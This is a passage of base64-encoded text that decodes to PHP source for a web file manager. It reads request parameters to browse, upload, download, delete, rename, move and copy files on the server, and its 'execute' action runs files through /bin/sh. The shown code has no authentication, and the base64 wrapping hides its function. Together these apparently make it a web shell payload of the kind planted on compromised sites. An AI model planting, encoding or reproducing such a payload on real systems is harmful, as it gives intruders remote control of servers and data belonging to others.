mlmIChnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJYXJyYXlfd2FsaygkX0dFVCwgJ3N0cmlwJyk7DQoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9SRVFVRVNULCAnc3RyaXAnKTsNCn0NCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ2ltYWdlJywgJF9HRVQpKSB7DQoJaGVhZGVyKCdDb250ZW50LVR5cGU6IGltYWdlL2dpZicpOw0KCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1hZ2UnXSkpOw0KfQ0KDQokZGVsaW0gPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgew0KCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsNCn0gZWxzZSB7DQoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0Y3dkJykpIHsNCgkkc2NyaXB0ZGlyID0gZ2V0Y3dkKCk7DQp9IGVsc2Ugew0KCSRzY3JpcHRkaXIgPSAnLic7DQp9DQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsNCg0KJGRpciA9IChhcnJheV9rZXlfZXhpc3RzKCdkaXInLCAkX1JFUVVFU1QpKSA/ICRfUkVRVUVTVFsnZGlyJ10gOiAkaG9tZWRpcjsNCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ29sZGRpcicsICRfUE9TVCkgJiYgIXBhdGhfaXNfcmVsYXRpdmUoJF9QT1NUWydvbGRkaXInXSkpIHsNCgkkZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGRpciwgJF9QT1NUWydvbGRkaXInXSk7DQp9DQoNCiRkaXJlY3RvcnkgPSBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXIpKTsNCg0KJGZpbGVzID0gYXJyYXkoKTsNCiRhY3Rpb24gPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7DQoJJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uX2FsbCddOw0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKyspIHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsNCgkJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgkJfQ0KCX0NCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydhY3Rpb24nXSkpIHsNCgkkYWN0aW9uID0gJF9SRVFVRVNUWydhY3Rpb24nXTsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsNCn0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfdXBsb2FkJ10pICYmICFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgew0KCSRmaWxlc1tdID0gJF9GSUxFU1sndXBsb2FkJ107DQoJJGFjdGlvbiA9ICd1cGxvYWQnOw0KfSBlbHNlaWYgKGFycmF5X2tleV9leGlzdHMoJ251bScsICRfUE9TVCkpIHsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOw0KCX0NCglpZiAoJGkgPCAkX1BPU1RbJ251bSddKSB7DQoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07DQoJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgl9DQp9DQppZiAoZW1wdHkoJGFjdGlvbikgJiYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9jcmVhdGUnXSkgfHwgKGFycmF5X2tleV9leGlzdHMoJ2ZvY3VzJywgJF9QT1NUKSAmJiAkX1BPU1RbJ2ZvY3VzJ10gPT0gJ2NyZWF0ZScpKSAmJiAhZW1wdHkoJF9QT1NUWydjcmVhdGVfbmFtZSddKSkgew0KCSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydjcmVhdGVfbmFtZSddLCAkZGlyZWN0b3J5KTsNCglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgew0KCWNhc2UgJ2RpcmVjdG9yeSc6DQoJCSRhY3Rpb24gPSAnY3JlYXRlX2RpcmVjdG9yeSc7DQoJCWJyZWFrOw0KCWNhc2UgJ2ZpbGUnOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9maWxlJzsNCgl9DQp9DQppZiAoc2l6ZW9mKCRmaWxlcykgPT0gMCkgJGFjdGlvbiA9ICcnOyBlbHNlICRmaWxlID0gcmVzZXQoJGZpbGVzKTsNCg0KaWYgKCRsYW5nID09ICdhdXRvJykgew0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScsICRfU0VSVkVSKSAmJiBzdHJsZW4oJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID49IDIpIHsNCgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOw0KCX0gZWxzZSB7DQoJCSRsYW5nID0gJ2VuJzsNCgl9DQp9DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KJGNvbHMgPSAoJHdpbikgPyA0IDogNzsNCg0KaWYgKCFpc3NldCgkZGlycGVybWlzc2lvbikpIHsNCgkkZGlycGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA3NzcgJiB+dW1hc2soKSkgOiAwNzU1Ow0KfQ0KaWYgKCFpc3NldCgkZmlsZXBlcm1pc3Npb24pKSB7DQoJJGZpbGVwZXJtaXNzaW9uID0gKGZ1bmN0aW9uX2V4aXN0cygndW1hc2snKSkgPyAoMDY2NiAmIH51bWFzaygpKSA6IDA2NDQ7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ10pKSB7DQoJJHNlbGYgPSBodG1sKGJhc2VuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydQSFBfU0VMRiddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpOw0KfSBlbHNlIHsNCgkkc2VsZiA9ICcnOw0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSkpIHsNCglpZiAoc3RydG9sb3dlcihzdWJzdHIoJF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddLCAwLCA2KSkgPT0gJ2FwYWNoZScpIHsNCgkJJGFwYWNoZSA9IHRydWU7DQoJfSBlbHNlIHsNCgkJJGFwYWNoZSA9IGZhbHNlOw0KCX0NCn0gZWxzZSB7DQoJJGFwYWNoZSA9IHRydWU7DQp9DQoNCnN3aXRjaCAoJGFjdGlvbikgew0KDQpjYXNlICd2aWV3JzoNCg0KCWlmIChpc19zY3JpcHQoJGZpbGUpKSB7DQoNCgkJLyogaGlnaGxpZ2h0X2ZpbGUgaXMgYSBtZXNzISAqLw0KCQlvYl9zdGFydCgpOw0KCQloaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCSRzcmMgPSBlcmVnX3JlcGxhY2UoJzxmb250IGNvbG9yPSIoW14iXSopIj4nLCAnPHNwYW4gc3R5bGU9ImNvbG9yOiBcMSI+Jywgb2JfZ2V0X2NvbnRlbnRzKCkpOw0KCQkkc3JjID0gc3RyX3JlcGxhY2UoYXJyYXkoJzwvZm9udD4nLCAiXHIiLCAiXG4iKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcbiI7DQoNCgkJZWNobyAnPC9jb2RlPjwvcHJlPg0KPC90ZD4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdDsgdmVydGljYWwtYWxpZ246IHRvcDsgcGFkZGluZy1sZWZ0OiAzcHQiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+JyAuICRzcmMgLiAnPC9wcmU+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0gZWxzZSB7DQoNCgkJaGVhZGVyKCdDb250ZW50LVR5cGU6ICcgLiBnZXRtaW1ldHlwZSgkZmlsZSkpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGZpbGVuYW1lPScgLiBiYXNlbmFtZSgkZmlsZSkpOw0KDQoJCXJlYWRmaWxlKCRmaWxlKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdkb3dubG9hZCc6DQoNCgloZWFkZXIoJ1ByYWdtYTogcHVibGljJyk7DQoJaGVhZGVyKCdFeHBpcmVzOiAwJyk7DQoJaGVhZGVyKCdDYWNoZS1Db250cm9sOiBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAnKTsNCgloZWFkZXIoJ0NvbnRlbnQtVHlwZTogJyAuIGdldG1pbWV0eXBlKCRmaWxlKSk7DQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nIC4gYmFzZW5hbWUoJGZpbGUpIC4gJzsnKTsNCgloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCg0KCXJlYWRmaWxlKCRmaWxlKTsNCg0KCWJyZWFrOw0KDQpjYXNlICd1cGxvYWQnOg0KDQoJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkZmlsZVsnbmFtZSddLCAkZGlyZWN0b3J5KTsNCg0KCWlmIChAZmlsZV9leGlzdHMoJGRlc3QpKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignYWxyZWFkeV9leGlzdHMnLCAkZGVzdCkpOw0KCX0gZWxzZWlmIChAbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlWyd0bXBfbmFtZSddLCAkZGVzdCkpIHsNCgkJbGlzdGluZ19wYWdlKG5vdGljZSgndXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfSBlbHNlIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdub3RfdXBsb2FkZWQnLCAkZmlsZVsnbmFtZSddKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2NyZWF0ZV9kaXJlY3RvcnknOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRkaXJwZXJtaXNzaW9uKTsNCgkJaWYgKEBta2RpcigkZmlsZSwgJGRpcnBlcm1pc3Npb24pKSB7DQoJCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdjcmVhdGVkJywgJGZpbGUpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY3JlYXRlX2ZpbGUnOg0KDQoJaWYgKEBmaWxlX2V4aXN0cygkZmlsZSkpIHsNCgkJbGlzdGluZ19wYWdlKGVycm9yKCdhbHJlYWR5X2V4aXN0cycsICRmaWxlKSk7DQoJfSBlbHNlIHsNCgkJJG9sZCA9IEB1bWFzaygwNzc3ICYgfiRmaWxlcGVybWlzc2lvbik7DQoJCWlmIChAdG91Y2goJGZpbGUpKSB7DQoJCQllZGl0KCRmaWxlKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NyZWF0ZWQnLCAkZmlsZSkpOw0KCQl9DQoJCUB1bWFzaygkb2xkKTsNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnZXhlY3V0ZSc6DQoNCgljaGRpcihkaXJuYW1lKCRmaWxlKSk7DQoNCgkkb3V0cHV0ID0gYXJyYXkoKTsNCgkkcmV0dmFsID0gMDsNCglleGVjKCdlY2hvICIuLycgLiBiYXNlbmFtZSgkZmlsZSkgLiAnIiB8IC9iaW4vc2gnLCAkb3V0cHV0LCAkcmV0dmFsKTsNCg0KCSRlcnJvciA9ICgkcmV0dmFsID09IDApID8gZmFsc2UgOiB0cnVlOw0KDQoJaWYgKHNpemVvZigkb3V0cHV0KSA9PSAwKSAkb3V0cHV0ID0gYXJyYXkoJzwnIC4gJHdvcmRzWydub19vdXRwdXQnXSAuICc+Jyk7DQoNCglpZiAoJGVycm9yKSB7DQoJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2V4ZWN1dGVkJywgJGZpbGUsIGltcGxvZGUoIlxuIiwgJG91dHB1dCkpKTsNCgl9IGVsc2Ugew0KCQlsaXN0aW5nX3BhZ2Uobm90aWNlKCdleGVjdXRlZCcsICRmaWxlLCBpbXBsb2RlKCJcbiIsICRvdXRwdXQpKSk7DQoJfQ0KDQoJYnJlYWs7DQoNCmNhc2UgJ2RlbGV0ZSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnbm8nXSkpIHsNCgkJbGlzdGluZ19wYWdlKCk7DQoJfSBlbHNlaWYgKCFlbXB0eSgkX1BPU1RbJ3llcyddKSkgew0KDQoJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJJHN1Y2Nlc3MgPSBhcnJheSgpOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJaWYgKGRlbCgkZmlsZSkpIHsNCgkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQl9IGVsc2Ugew0KCQkJCSRmYWlsdXJlW10gPSAkZmlsZTsNCgkJCX0NCgkJfQ0KDQoJCSRtZXNzYWdlID0gJyc7DQoJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJJG1lc3NhZ2UgPSBlcnJvcignbm90X2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ2RlbGV0ZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSk7DQoJCX0NCg0KCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOw0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXHQ8Yj4iIC4gd29yZCgncmVhbGx5X2RlbGV0ZScpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAvPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5vIiB2YWx1ZT0iJyAuIHdvcmQoJ25vJykgLiAnIiBpZD0icmVkX2J1dHRvbiIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ5ZXMiIHZhbHVlPSInIC4gd29yZCgneWVzJykgLiAnIiBpZD0iZ3JlZW5fYnV0dG9uIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDUwcHgiIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdyZW5hbWUnOg0KDQoJaWYgKCFlbXB0eSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10pKSB7DQoNCgkJJGRlc3QgPSByZWxhdGl2ZTJhYnNvbHV0ZSgkX1BPU1RbJ2Rlc3RpbmF0aW9uJ10sICRkaXJlY3RvcnkpOw0KDQoJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAcmVuYW1lKCRmaWxlLCAkZGVzdCkpIHsNCgkJCWxpc3RpbmdfcGFnZShub3RpY2UoJ3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfSBlbHNlIHsNCgkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X3JlbmFtZWQnLCAkZmlsZSwgJGRlc3QpKTsNCgkJfQ0KDQoJfSBlbHNlIHsNCg0KCQlodG1sX2hlYWRlcigpOw0KDQoJCWVjaG8gJzxmb3JtIGFjdGlvbj0iJyAuICRzZWxmIC4gJyIgbWV0aG9kPSJwb3N0Ij4NCg0KPHRhYmxlIGNsYXNzPSJkaWFsb2ciPg0KPHRyPg0KPHRkIGNsYXNzPSJkaWFsb2ciPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InJlbmFtZSIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGUpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkaXIiIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGI+JyAuIHdvcmQoJ3JlbmFtZV9maWxlJykgLiAnPC9iPg0KCTxwPicgLiBodG1sKCRmaWxlKSAuICc8L3A+DQoJPGhyIC8+DQoJJyAuIHdvcmQoJ2Rlc3RpbmF0aW9uJykgLiAnOg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkZXN0aW5hdGlvbiIgc2l6ZT0iJyAuIHRleHRmaWVsZHNpemUoJGZpbGUpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRmaWxlKSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdyZW5hbWUnKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdtb3ZlJzoNCg0KCWlmICghZW1wdHkoJF9QT1NUWydkZXN0aW5hdGlvbiddKSkgew0KDQoJCSRkZXN0ID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydkZXN0aW5hdGlvbiddLCAkZGlyZWN0b3J5KTsNCg0KCQkkZmFpbHVyZSA9IGFycmF5KCk7DQoJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCgkJCSRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZSwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCSRkID0gJGRlc3QgLiAkZmlsZW5hbWU7DQoJCQlpZiAoIUBmaWxlX2V4aXN0cygkZCkgJiYgQHJlbmFtZSgkZmlsZSwgJGQpKSB7DQoJCQkJJHN1Y2Nlc3NbXSA9ICRmaWxlOw0KCQkJfSBlbHNlIHsNCgkJCQkkZmFpbHVyZVtdID0gJGZpbGU7DQoJCQl9DQoJCX0NCg0KCQkkbWVzc2FnZSA9ICcnOw0KCQlpZiAoc2l6ZW9mKCRmYWlsdXJlKSA+IDApIHsNCgkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9tb3ZlZCcsIGltcGxvZGUoIlxuIiwgJGZhaWx1cmUpLCAkZGVzdCk7DQoJCX0NCgkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkkbWVzc2FnZSAuPSBub3RpY2UoJ21vdmVkJywgaW1wbG9kZSgiXG4iLCAkc3VjY2VzcyksICRkZXN0KTsNCgkJfQ0KDQoJCWxpc3RpbmdfcGFnZSgkbWVzc2FnZSk7DQoNCgl9IGVsc2Ugew0KDQoJCWh0bWxfaGVhZGVyKCk7DQoNCgkJZWNobyAnPGZvcm0gYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgY2xhc3M9ImRpYWxvZyI+DQo8dHI+DQo8dGQgY2xhc3M9ImRpYWxvZyI+DQonOw0KDQoJCXJlcXVlc3RfZHVtcCgpOw0KDQoJCWVjaG8gIlx0PGI+IiAuIHdvcmQoJ21vdmVfZmlsZXMnKSAuICc8L2I+DQoJPHA+DQonOw0KDQoJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KCQkJZWNobyAiXHQiIC4gaHRtbCgkZmlsZSkgLiAiPGJyIC8+XG4iOw0KCQl9DQoNCgkJZWNobyAnCTwvcD4NCgk8aHIgLz4NCgknIC4gd29yZCgnZGVzdGluYXRpb24nKSAuICc6DQoJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRlc3RpbmF0aW9uIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIC8+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IicgLiB3b3JkKCdtb3ZlJykgLiAnIiAvPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXJlY3RvcnkpIC4gJyI+WyAnIC4gd29yZCgnYmFjaycpIC4gJyBdPC9hPjwvcD4NCg0KPC9mb3JtPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9DQoNCglicmVhazsNCg0KY2FzZSAnY29weSc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKEBpc19kaXIoJGRlc3QpKSB7DQoNCgkJCSRmYWlsdXJlID0gYXJyYXkoKTsNCgkJCSRzdWNjZXNzID0gYXJyYXkoKTsNCg0KCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQkJJGZpbGVuYW1lID0gc3Vic3RyKCRmaWxlLCBzdHJsZW4oJGRpcmVjdG9yeSkpOw0KCQkJCSRkID0gYWRkc2xhc2goJGRlc3QpIC4gJGZpbGVuYW1lOw0KCQkJCWlmICghQGlzX2RpcigkZmlsZSkgJiYgIUBmaWxlX2V4aXN0cygkZCkgJiYgQGNvcHkoJGZpbGUsICRkKSkgew0KCQkJCQkkc3VjY2Vzc1tdID0gJGZpbGU7DQoJCQkJfSBlbHNlIHsNCgkJCQkJJGZhaWx1cmVbXSA9ICRmaWxlOw0KCQkJCX0NCgkJCX0NCg0KCQkJJG1lc3NhZ2UgPSAnJzsNCgkJCWlmIChzaXplb2YoJGZhaWx1cmUpID4gMCkgew0KCQkJCSRtZXNzYWdlID0gZXJyb3IoJ25vdF9jb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRmYWlsdXJlKSwgJGRlc3QpOw0KCQkJfQ0KCQkJaWYgKHNpemVvZigkc3VjY2VzcykgPiAwKSB7DQoJCQkJJG1lc3NhZ2UgLj0gbm90aWNlKCdjb3BpZWQnLCBpbXBsb2RlKCJcbiIsICRzdWNjZXNzKSwgJGRlc3QpOw0KCQkJfQ0KDQoJCQlsaXN0aW5nX3BhZ2UoJG1lc3NhZ2UpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmICghQGZpbGVfZXhpc3RzKCRkZXN0KSAmJiBAY29weSgkZmlsZSwgJGRlc3QpKSB7DQoJCQkJbGlzdGluZ19wYWdlKG5vdGljZSgnY29waWVkJywgJGZpbGUsICRkZXN0KSk7DQoJCQl9IGVsc2Ugew0KCQkJCWxpc3RpbmdfcGFnZShlcnJvcignbm90X2NvcGllZCcsICRmaWxlLCAkZGVzdCkpOw0KCQkJfQ0KDQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCg0KCQllY2hvICc8Zm9ybSBhY3Rpb249IicgLiAkc2VsZiAuICciIG1ldGhvZD0icG9zdCI+DQoNCjx0YWJsZSBjbGFzcz0iZGlhbG9nIj4NCjx0cj4NCjx0ZCBjbGFzcz0iZGlhbG9nIj4NCic7DQoNCgkJcmVxdWVzdF9kdW1wKCk7DQoNCgkJZWNobyAiXG48Yj4iIC4gd29yZCgnY29weV9maWxlcycpIC4gJzwvYj4NCgk8cD4NCic7DQoNCgkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlKSB7DQoJCQllY2hvICJcdCIgLiBodG1sKCRmaWxlKSAuICI8YnIgLz5cbiI7DQoJCX0NCg0KCQllY2hvICcJPC9wPg0KCTxociAvPg0KCScgLiB3b3JkKCdkZXN0aW5hdGlvbicpIC4gJzoNCgk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVzdGluYXRpb24iIHNpemU9IicgLiB0ZXh0ZmllbGRzaXplKCRkaXJlY3RvcnkpIC4gJyIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJyAuIHdvcmQoJ2NvcHknKSAuICciIC8+DQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnIj5bICcgLiB3b3JkKCdiYWNrJykgLiAnIF08L2E+PC9wPg0KDQo8L2Zvcm0+DQoNCic7DQoNCgkJaHRtbF9mb290ZXIoKTsNCg0KCX0NCg0KCWJyZWFrOw0KDQpjYXNlICdjcmVhdGVfc3ltbGluayc6DQoNCglpZiAoIWVtcHR5KCRfUE9TVFsnZGVzdGluYXRpb24nXSkpIHsNCg0KCQkkZGVzdCA9IHJlbGF0aXZlMmFic29sdXRlKCRfUE9TVFsnZGVzdGluYXRpb24nXSwgJGRpcmVjdG9yeSk7DQoNCgkJaWYgKHN1YnN0cigkZGVzdCwgLTEsIDEpID09ICRkZWxpbSkgJGRlc3QgLj0gYmFzZW5hbWUoJGZpbGUpOw0KDQoJCWlmICghZW1wdHkoJF9QT1NUWydyZWxhdGl2ZSddKSkgJGZpbGUgPSBhYnNvbHV0ZTJyZWxhdGl2ZShhZGRzbGFzaChkaXJuYW1lKCRkZXN0KSksICRmaWxlKTsNCg0KCQlpZiAoIUBmaWxlX2